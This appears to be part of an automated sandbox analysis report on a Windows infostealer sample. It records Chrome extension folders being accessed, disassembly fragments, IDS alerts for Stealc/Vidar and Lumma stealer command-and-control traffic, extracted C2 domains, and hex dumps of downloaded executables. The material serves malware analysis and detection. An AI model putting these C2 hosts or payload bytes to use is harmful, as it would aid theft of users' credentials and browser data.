Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_0091E385
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_0091E385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	3_2_004014AD
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	10_2_00D5A0B9
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	10_2_00D58051
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	10_2_00D482E8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	10_2_00D743F8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00D4A3BF
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	10_2_00D6E318
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	10_2_00D745E8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_00D68528
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_00D5A687
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00D5665F
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, ebx	10_2_00D4264D
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D72601
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	10_2_00D707F8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	10_2_00D4C89C
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	10_2_00D768A8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	10_2_00D42849
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	10_2_00D4A86A
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00D60813
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp eax	10_2_00D3E9A5
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp eax	10_2_00D3E914
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_00D6093D
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	10_2_00D32928
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	10_2_00D54AD8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	10_2_00D3EAC6
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	10_2_00D4AA47
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	10_2_00D76A38
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D76BB8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	10_2_00D76BB8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00D60B43
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	10_2_00D3CB78
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	10_2_00D6CB36
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_00D60B22
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_00D5AC81
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	10_2_00D38D88
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D52D48
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	10_2_00D3ED6B
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00D54D38
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp eax	10_2_00D56EC4
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	10_2_00D74E98
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D74E98
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [edx], 0000h	10_2_00D4CEB7
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp ecx	10_2_00D72EAE
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D6CE48
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	10_2_00D40F6F
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp ecx	10_2_00D72F6C
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_00D60F18
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	10_2_00D60F18
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	10_2_00D70F18
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	10_2_00D5CF30
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov ebp, eax	10_2_00D371D8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00D4F138
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [esi], ax	10_2_00D4F138
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	10_2_00D73290
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_00D5F2B8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	10_2_00D73390
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	10_2_00D593AF
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	10_2_00D4340E
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00D4F540
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_00D5B56A
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	10_2_00D736C7
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	10_2_00D31878
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	10_2_00D73833
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	10_2_00D55824
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	10_2_00D71918
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_00D5DA58
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	10_2_00D59BA8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D59BA8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	10_2_00D59BA8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp eax	10_2_00D57B48
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov word ptr [edx], ax	10_2_00D57B69
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	10_2_00D5BB20
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	10_2_00D43CBA
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D75C62
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp eax	10_2_00D55C1B
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	10_2_00D3DDC4
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	10_2_00D33D78
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov edi, ecx	10_2_00D41D02
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	10_2_00D2DED8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	10_2_00D43E69
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_00D5FFD5
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D39FE8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00D39FE8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then jmp ecx	10_2_00D35FB0
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_00D5FF74
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 4x nop then dec ebx	10_2_00D6BF08

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49742 -> 95.164.90.97:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.4:49742
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.4:49742
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:53642 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:53641 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:53641 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:53640 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:53640 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic

TCP traffic: 192.168.2.4:51630 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:27 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:34 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:35 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:35 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 